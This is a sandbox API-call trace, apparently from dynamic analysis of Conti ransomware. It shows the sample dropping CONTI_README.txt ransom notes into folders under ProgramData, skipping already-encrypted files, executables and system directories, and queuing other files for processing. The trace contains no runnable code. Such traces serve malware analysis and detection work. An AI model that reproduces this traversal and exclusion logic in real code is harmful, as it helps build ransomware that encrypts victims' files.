	[0098.225] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\AppV") returned 29
	[0098.225] lstrlenW (lpString="Setup") returned 5
	[0098.225] GetProcessHeap () returned 0x1720000
	[0098.225] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d558
	[0098.225] lstrcpyW (in: lpString1=0x173d558, lpString2="C:\\ProgramData\\Microsoft\\AppV" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV") returned="C:\\ProgramData\\Microsoft\\AppV"
	[0098.225] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\") returned="C:\\ProgramData\\Microsoft\\AppV\\"
	[0098.225] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV\\", lpString2="Setup" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup"
	[0098.225] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned 35
	[0098.225] GetProcessHeap () returned 0x1720000
	[0098.225] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bef18
	[0098.225] lstrcpyW (in: lpString1=0x17bef18, lpString2="C:\\ProgramData\\Microsoft\\AppV\\Setup" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup"
	[0098.225] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup\\*") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup\\*"
	[0098.225] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned 35
	[0098.225] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.225] GetProcessHeap () returned 0x1720000
	[0098.225] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740820
	[0098.225] lstrcpyW (in: lpString1=0x1740820, lpString2="C:\\ProgramData\\Microsoft\\AppV\\Setup" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup"
	[0098.225] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup\\") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup\\"
	[0098.225] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup\\CONTI_README.txt"
	[0098.226] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\AppV\\Setup\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\appv\\setup\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0098.226] GetProcessHeap () returned 0x1720000
	[0098.226] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740820 | out: hHeap=0x1720000) returned 1
	[0098.226] WriteFile (in: hFile=0x384, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.227] CloseHandle (hObject=0x384) returned 1
	[0098.227] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0098.227] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.227] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.227] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.227] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.227] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e63a786, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e63a786, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.228] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.228] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.228] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.228] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.228] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1
	[0098.228] lstrcmpiW (lpString1="OfficeIntegrator.ps1", lpString2=".") returned 1
	[0098.228] lstrcmpiW (lpString1="OfficeIntegrator.ps1", lpString2="..") returned 1
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch=".CONTI") returned 0x0
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch="CONTI_README.txt") returned 0x0
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch=".exe") returned 0x0
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch=".dll") returned 0x0
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch=".lnk") returned 0x0
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch=".sys") returned 0x0
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch=".CONTI") returned 0x0
	[0098.228] StrStrIW (lpFirst="OfficeIntegrator.ps1", lpSrch="CONTI_README.txt") returned 0x0
	[0098.228] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned 35
	[0098.228] lstrlenW (lpString="OfficeIntegrator.ps1") returned 20
	[0098.228] GetProcessHeap () returned 0x1720000
	[0098.228] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17e3dd8
	[0098.228] lstrcpyW (in: lpString1=0x17e3dd8, lpString2="C:\\ProgramData\\Microsoft\\AppV\\Setup" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup"
	[0098.228] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup\\") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup\\"
	[0098.228] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup\\", lpString2="OfficeIntegrator.ps1" | out: lpString1="C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup\\OfficeIntegrator.ps1"
	[0098.228] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9b28) returned 1
	[0098.228] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 0
	[0098.228] GetProcessHeap () returned 0x1720000
	[0098.228] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bef18 | out: hHeap=0x1720000) returned 1
	[0098.228] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0098.228] GetProcessHeap () returned 0x1720000
	[0098.228] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d558 | out: hHeap=0x1720000) returned 1
	[0098.228] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="Setup", cAlternateFileName="")) returned 0
	[0098.228] GetProcessHeap () returned 0x1720000
	[0098.229] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734558 | out: hHeap=0x1720000) returned 1
	[0098.229] FindClose (in: hFindFile=0x17c8530 | out: hFindFile=0x17c8530) returned 1
	[0098.229] GetProcessHeap () returned 0x1720000
	[0098.229] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17343f0 | out: hHeap=0x1720000) returned 1
	[0098.229] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2=".") returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="..") returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="tmp") returned -1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="winnt") returned -1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="Application Data") returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="AppData") returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="temp") returned -1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="thumb") returned -1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="$Recycle.Bin") returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="$RECYCLE.BIN") returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="System Volume Information") returned -1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="Program Files") returned -1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="Program Files (x86)") returned -1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="Boot") returned 1
	[0098.229] lstrcmpiW (lpString1="ClickToRun", lpString2="Windows") returned -1
	[0098.229] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0098.229] lstrlenW (lpString="ClickToRun") returned 10
	[0098.229] GetProcessHeap () returned 0x1720000
	[0098.229] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d508
	[0098.229] lstrcpyW (in: lpString1=0x173d508, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0098.229] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0098.229] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.229] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.229] GetProcessHeap () returned 0x1720000
	[0098.229] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bee68
	[0098.229] lstrcpyW (in: lpString1=0x17bee68, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.229] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\*"
	[0098.229] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.229] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.229] GetProcessHeap () returned 0x1720000
	[0098.229] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740b68
	[0098.230] lstrcpyW (in: lpString1=0x1740b68, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.230] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.230] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\CONTI_README.txt"
	[0098.230] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0098.230] GetProcessHeap () returned 0x1720000
	[0098.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740b68 | out: hHeap=0x1720000) returned 1
	[0098.230] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0098.231] CloseHandle (hObject=0x394) returned 1
	[0098.231] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0098.231] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.231] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1
	[0098.231] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.231] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.231] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2=".") returned 1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="..") returned 1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="tmp") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="winnt") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="Application Data") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="AppData") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="temp") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="thumb") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="$Recycle.Bin") returned 1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="$RECYCLE.BIN") returned 1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="System Volume Information") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="Program Files") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="Program Files (x86)") returned -1
	[0098.231] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="Boot") returned -1
	[0098.232] lstrcmpiW (lpString1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="Windows") returned -1
	[0098.232] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.232] lstrlenW (lpString="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned 36
	[0098.232] GetProcessHeap () returned 0x1720000
	[0098.232] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x92) returned 0x173f570
	[0098.232] lstrcpyW (in: lpString1=0x173f570, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.232] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.232] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0098.232] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned 72
	[0098.232] GetProcessHeap () returned 0x1720000
	[0098.232] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x96) returned 0x173f930
	[0098.232] lstrcpyW (in: lpString1=0x173f930, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0098.232] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*"
	[0098.232] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned 72
	[0098.232] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.232] GetProcessHeap () returned 0x1720000
	[0098.232] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c61b0
	[0098.232] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0098.232] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0098.232] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\CONTI_README.txt"
	[0098.232] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0098.233] GetProcessHeap () returned 0x1720000
	[0098.233] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.234] WriteFile (in: hFile=0x384, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.235] CloseHandle (hObject=0x384) returned 1
	[0098.235] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0098.235] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.236] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1
	[0098.236] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.236] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.236] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e63a786, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e63a786, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.236] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.236] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.236] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.236] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
